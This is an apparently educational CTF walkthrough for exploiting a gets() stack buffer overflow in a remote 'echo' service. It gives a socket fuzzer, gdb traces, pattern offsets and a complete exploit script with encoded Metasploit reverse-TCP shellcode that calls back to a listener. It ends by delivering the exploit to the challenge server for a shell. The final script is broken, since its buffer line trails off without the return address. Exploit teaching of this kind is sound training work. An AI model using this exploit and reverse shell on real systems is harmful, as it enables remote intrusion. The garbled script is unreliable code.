Walkthrough for the echo challenge

This is a basic buffer overflow using `gets()` and served remotely over xinetd.

The following is a walkthrough for the creation of the your exploit. There are plenty of tutorials available on the Internet which cover program execution, stack layout and function prolog and epilog. It is suggested that you consult Google if you are unfamiliar with basic stack layout.

It is recommended that you pull the gdbinit file at `https://github.com/Nildram/Gdbinit` with `git clone https://github.com/Nildram/Gdbinit.git`.

You will also need to disable ASLR support on your own machine with `echo 0 > /proc/sys/kernel/randomize_va_space`.

Note that some of the values presented here WILL be different from those calculated when exploiting the binary provided in the face to face.

Step 1 - Identifying the Vulnerability

The first step in exploit development is identifying a vulnerability. You already know this binary is vulnerable (and exploitable) otherwise you wouldn't be reading this. However, for the sake of this exercise, lets assume you don't already know.

There are two main approaches we might take in identifying this vulnerability; static analysis and dynamic analysis (fuzzing).

Static Analysis:

Static analysis is the process of analysing the code without actually running it and is typically done with a decompiler or disassembler (IDA). If you're lucky you'll have access to the source code, which makes things much easier.

In this case we have the source code and can see that there is an issue on line 17 where the gets() function is called.

```
void echo()
{
    char buffer[BUFSIZE];

    setbytes('\0', BUFSIZE, buffer);
    gets(buffer);
    printf("%s %d", buffer);//, debugValue);

    return;
}
```

The gets() function reads input from the user and stores that input in the buffer provided as an argument. The important part to note is that the gets() function does not check the length of the input provided by the user or the destination buffer into which the input is copied. This means that, if the user provides input that exceeds the size of the destination buffer, it will overflow into the adjoining area of memory and overwrite the functions return address.

Dynamic Analysis

Dynamic analysis is the process of analysing the code whilst it is running. Typically dynamic analysis will be performed using a debugger or by fuzzing. The process of fuzzing involves repeatedly running the program with different input parameters in order to identify any bugs that may be triggered by unexpected user input.

From static analysis we can guess that the program will crash with an input greater than 256 bytes, but this value may differ depending on how much stack space the compiler allowed. We can use fuzzing to determine exactly how many bytes we need to input to break the application. We can fuzz the remote 'echo' application with a simple bit of python (remember to change the IP address):

```
#!/usr/bin/env python2

import socket
import sys
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.94.131", 7))

data = "A" * 10

for i in range(1, 100):
    sys.stdout.write('.')
    sys.stdout.flush()
    try:
        sock.send(data * i + '\n')
        rdata = sock.recv(1024)
        if len(rdata) == 0:
            raise socket.error;
    except socket.error:
        print "Socket closed after sending {0} bytes".format(i*10)
        break
    time.sleep(0.01)
```

Running the script tells us that the process crashed after receiving 260 bytes of input (note that this will be different to the version at the face to face):

```
root@kali:~# ./fuzz.py
.........................................
Socket closed after sending 260 bytes
```

Step 2 - Exploiting

Now we can move on to exploiting a local copy of the application before going back to the challenge server. There are three things we need in order to successfully exploit the `echo` application:

1. Control of the instruction pointer (EIP).
2. Somewhere to put our shellcode.
3. The address of our shellcode in the applications memory.

EIP Control

Let's start up gdb and run the application with our overflow data to see what's going on in the crash we caused with the remote fuzzer.

Note that the number of A's you use in the input will be different for the face to face version. Also note that if you're running kali-64, you will need to install the 32 libc libraries - `apt-get install libc6-dev-i386`.

```
root@kali:~# python -c 'print "A"*270' > input
root@kali:~# gdb ./echo -q
Reading symbols from /root/echo...(no debugging symbols found)...done.
gdb$ r < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
 -11280
Program received signal SIGSEGV, Segmentation fault.
-------------------------------------------------------------------------[regs]
  EAX: 0x00000115  EBX: 0xF7FBCFF4  ECX: 0xFFFFD3CC  EDX: 0xF7FBE360  o d I t S z
A p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xFFFFD4F8  EIP: 0x41414
141
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running ho
ok_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
```

We see that EIP contains the value `0x41414141` which is "AAAA" is ascii proving that our input has overwritten return address of the `echo()` function. Now what we'd like to know if which of the A's in our input buffer these are so that we can change them and redirect execution to an address of our choice.

To do this we're going to use some of the exploit tools provided by metasploit:

```
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 270 > input
root@kali:~# cat input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6A
c7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af
4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1
Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9
```

If we now run this input within GDB we see the following:

```
gdb$ r < input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6A
c7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af
4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1
Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9 -11280
Program received signal SIGSEGV, Segmentation fault.
-------------------------------------------------------------------------[regs]
  EAX: 0x00000115  EBX: 0xF7FBCFF4  ECX: 0xFFFFD3CC  EDX: 0xF7FBE360  o d I t S z
A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x69413569  ESP: 0xFFFFD4F8  EIP: 0x37694
136
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running ho
ok_stop:
Cannot access memory at address 0x37694136
0x37694136 in ?? ()
```

Now we have the value `0x37694136` in EIP. Let's get the offset of this value within our input buffer:

```
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x37694136
[*] Exact match at offset 260
```

We can check that this is correct by placing the 4 bytes 0x00000000 at offset 260 within our input buffer and checking that EIP is set to this value in GDB:

```
root@kali:~# python -c 'print "A"*260 + "\x00\x00\x00\x00"' > input
root@kali:~# gdb ./echo -q
Reading symbols from /root/echo...(no debugging symbols found)...done.
gdb$ r < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA -11280
Program received signal SIGSEGV, Segmentation fault.
-------------------------------------------------------------------------[regs]
  EAX: 0x0000010B  EBX: 0xF7FBCFF4  ECX: 0xFFFFD3CC  EDX: 0xF7FBE360  o d I t S z
A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xFFFFD4F8  EIP: 0x00000
000
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running ho
ok_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
```

As expected, the value at EIP is 0x00000000. That's the first requirement of our exploit completed. Let's move on to adding some shellcode.

Placing Shellcode

We already know that we can store at least 256 bytes of data in buffer, which should be plenty of space for our shellcode. We can check whether this area is executable with the following command:

```
root@kali:~# readelf -l echo | grep STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
```

The `RWE` output tells us that the stack is readable, writable and executable so we're free to go ahead and use the stack to host our shellcode. Now let's go ahead and generate some shellcode for a reverse shell using metasploit (be sure to set the correct LHOST and LPORT for your own machine):

```
root@kali:~# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.94.133 PORT=4444
 R |
msfencode -b '\x0a\x04' -e x86/shikata_ga_nai -t c
[*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)

unsigned char buf[] =
"\xbe\x05\x2e\xfb\xea\xda\xc0\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x12\x31\x72\x12\x83\xea\xfc\x03\x77\x20\x19\x1f\x46\xe7\x2a"
"\x03\xfb\x54\x86\xae\xf9\xd3\xc9\x9f\x9b\x2e\x89\x73\x3a\x01"
"\xb5\xbe\x3c\x28\xb3\xb9\x54\x6b\xeb\x64\x21\x03\xee\x98\x38"
"\x88\x67\x79\x8a\x56\x28\x2b\xb9\x25\xcb\x42\xdc\x87\x4c\x06"
"\x76\x37\x62\xd4\xee\x2f\x53\x78\x87\xc1\x22\x9f\x05\x4d\xbc"
"\x81\x19\x7a\x73\xc1";
```

Note that we encode the shellcode to ensure that we don't include any newline or EOF characters as `gets()` will terminate the input with either of these characters.

Now we can start to put our exploit together:

```
#!/usr/bin/env python2

# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.94.133 PORT=4444 R | msfenc
ode -b
# '\x0a\x04' -e x86/shikata_ga_nai -t c
# [*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)
shellcode = ("\xbe\x05\x2e\xfb\xea\xda\xc0\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x12\x31\x72\x12\x83\xea\xfc\x03\x77\x20\x19\x1f\x46\xe7\x2a"
"\x03\xfb\x54\x86\xae\xf9\xd3\xc9\x9f\x9b\x2e\x89\x73\x3a\x01"
"\xb5\xbe\x3c\x28\xb3\xb9\x54\x6b\xeb\x64\x21\x03\xee\x98\x38"
"\x88\x67\x79\x8a\x56\x28\x2b\xb9\x25\xcb\x42\xdc\x87\x4c\x06"
"\x76\x37\x62\xd4\xee\x2f\x53\x78\x87\xc1\x22\x9f\x05\x4d\xbc"
"\x81\x19\x7a\x73\xc1")

# Filler bytes = 260 - 95 bytes taken by shellcode
filler_bytes = "\xCC" * 165

buffer = shellcode + filler_bytes + '\x00\x00\x00\x00'

print buffer
```

Now let's take another look at things in GDB using this new input buffer. We'll put a breakpoint after the `gets()` and increase the amount of stack memory displayed so we can check our buffer:

```
root@kali:~# chmod 744 poc.py
root@kali:~# ./poc.py > input
root@kali:~# gdb ./echo -q
Reading symbols from /root/echo...(no debugging symbols found)...done.
gdb$ set disassembly-flavor intel
gdb$ disass echo
Dump of assembler code for function echo:
   0x080484dd <+0>: push   ebp
   0x080484de <+1>: mov    ebp,esp
   0x080484e0 <+3>: sub    esp,0x10c
   0x080484e6 <+9>: lea    eax,[ebp-0x100]
   0x080484ec <+15>:    mov    DWORD PTR [esp+0x8],eax
   0x080484f0 <+19>:    mov    DWORD PTR [esp+0x4],0x100
   0x080484f8 <+27>:    mov    DWORD PTR [esp],0x0
   0x080484ff <+34>:    call   0x80484ac <setbytes>
   0x08048504 <+39>:    lea    eax,[ebp-0x100]
   0x0804850a <+45>:    mov    DWORD PTR [esp],eax
   0x0804850d <+48>:    call   0x8048380 <gets@plt>
   0x08048512 <+53>:    lea    eax,[ebp-0x100]
   0x08048518 <+59>:    mov    DWORD PTR [esp+0x4],eax
   0x0804851c <+63>:    mov    DWORD PTR [esp],0x80485f0
   0x08048523 <+70>:    call   0x8048370 <printf@plt>
   0x08048528 <+75>:    leave
```

```
   0x08048529 <+76>:    ret
End of assembler dump.
gdb$ b *0x08048512
Breakpoint 1 at 0x8048512
gdb$ contextsize-stack 12
gdb$ r < input
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFD3F0  EBX: 0xF7FBCFF4  ECX: 0xFFFFD3F0  EDX: 0xF7FBE354  o d I t s Z
a P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFD4F0  ESP: 0xFFFFD3E4  EIP: 0x08048
512
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
[0x002B:0xFFFFD3E4]-------------------------------------------------------[stack]
0xFFFFD4F4 : 00 00 00 00 00 D4 FB F7 - 00 00 00 00 02 00 00 00 ................
0xFFFFD4E4 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD4D4 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD4C4 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD4B4 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD4A4 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD494 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD484 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD474 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD464 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD454 : CC CC CC CC CC CC CC CC - CC CC CC CC CC CC CC CC ................
0xFFFFD444 : C1 22 9F 05 4D BC 81 19 - 7A 73 C1 CC CC CC CC CC ."..M...zs......
0xFFFFD434 : 25 CB 42 DC 87 4C 06 76 - 37 62 D4 EE 2F 53 78 87 %.B..L.v7b../Sx.
0xFFFFD424 : 6B EB 64 21 03 EE 98 38 - 88 67 79 8A 56 28 2B B9 k.d!...8.gy.V(+.
0xFFFFD414 : D3 C9 9F 9B 2E 89 73 3A - 01 B5 BE 3C 28 B3 B9 54 ......s:...<(..T
0xFFFFD404 : EA FC 03 77 20 19 1F 46 - E7 2A 03 FB 54 86 AE F9 ...w ..F.*..T...
0xFFFFD3F4 : EA DA C0 D9 74 24 F4 5A - 31 C9 B1 12 31 72 12 83 ....t$.Z1...1r..
0xFFFFD3E4 : F0 D3 FF FF 00 01 00 00 - F0 D3 FF FF BE 05 2E FB ................
--------------------------------------------------------------------------[code]
=> 0x8048512 <echo+53>: lea    eax,[ebp-0x100]
   0x8048518 <echo+59>: mov    DWORD PTR [esp+0x4],eax
   0x804851c <echo+63>: mov    DWORD PTR [esp],0x80485f0
   0x8048523 <echo+70>: call   0x8048370 <printf@plt>
   0x8048528 <echo+75>: leave
   0x8048529 <echo+76>: ret
   0x804852a <main>:    push   ebp
   0x804852b <main+1>:  mov    ebp,esp
------------------------------------------------------------------------------

Breakpoint 1, 0x08048512 in echo ()
```

We can see the beginning of our buffer on the stack at the address 0xFFFFD3F0 with the first bytes of our shellcode 0xBE052EFB. That's the second piece of our exploit in place. Now we just need to point EIP at our shellcode.

Executing Shellcode

Going back to the code we see something odd about the `printf()` statement on line 18. It seems that, whoever wrote the code was previously outputting some debug information after `buffer`. They've commented out the `debugValue`, but they've forgotten to remove the extra format specifier in the first argument to `printf()`.

The call to `printf()` takes it's arguments off the stack with the first argument at ESP, the second at ESP+4 and so on, meaning that the application is outputting the value at ESP+8 which just so happens to contain the pointer to `buffer`, which was put on the stack for the call to `setmem()`.

We can see this from the listing above where ESP+8 (0xFFFFD3EC) contains the bytes 0xF0D3FFFF. Remember that the bytes are in little endian format so this translates to the stack address 0xFFFFD3F0 where our shellcode lies. This also matches up to the value output in the previous runs which is -11280 or 0xFFFFD3F0 in hex.

This in the last piece required to complete the exploit, so lets put it together and see if we can land it outside GDB. Note that the address of `buffer` will be different when running the program outside GDB so you will need to do a test run to get the correct return address for the exploit.

```
#!/usr/bin/env python2

# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.94.133 PORT=4444 R | msfenc
ode -b
# '\x0a\x04' -e x86/shikata_ga_nai -t c
# [*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)
shellcode = ("\xbe\x05\x2e\xfb\xea\xda\xc0\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x12\x31\x72\x12\x83\xea\xfc\x03\x77\x20\x19\x1f\x46\xe7\x2a"
"\x03\xfb\x54\x86\xae\xf9\xd3\xc9\x9f\x9b\x2e\x89\x73\x3a\x01"
"\xb5\xbe\x3c\x28\xb3\xb9\x54\x6b\xeb\x64\x21\x03\xee\x98\x38"
"\x88\x67\x79\x8a\x56\x28\x2b\xb9\x25\xcb\x42\xdc\x87\x4c\x06"
"\x76\x37\x62\xd4\xee\x2f\x53\x78\x87\xc1\x22\x9f\x05\x4d\xbc"
"\x81\x19\x7a\x73\xc1")

# Filler bytes = 260 - 95 bytes taken by shellcode
filler_bytes = "\xCC" * 165

# Updated return address based on output from 'echo'
return_address = "\x10\xd4\xff\xff"

buffer = shellcode + filler_bytes +

print buffer
```

Set up a netcat listener in a separate shell:

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
```

Run the exploit:

```
root@kali:~# ./echo < input
```

And get the shell:

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.94.133: inverse host lookup failed: Unknown server error : Connection time
d out
connect to [192.168.94.133] from (UNKNOWN) [192.168.94.133] 43469
```

Now update the return address in the exploit code to match that on the challenge server and deliver it to get your shell and flag (/home/echo/flag/):

```
root@kali:~/Desktop# nc ctf-challenge-server 7 < input
```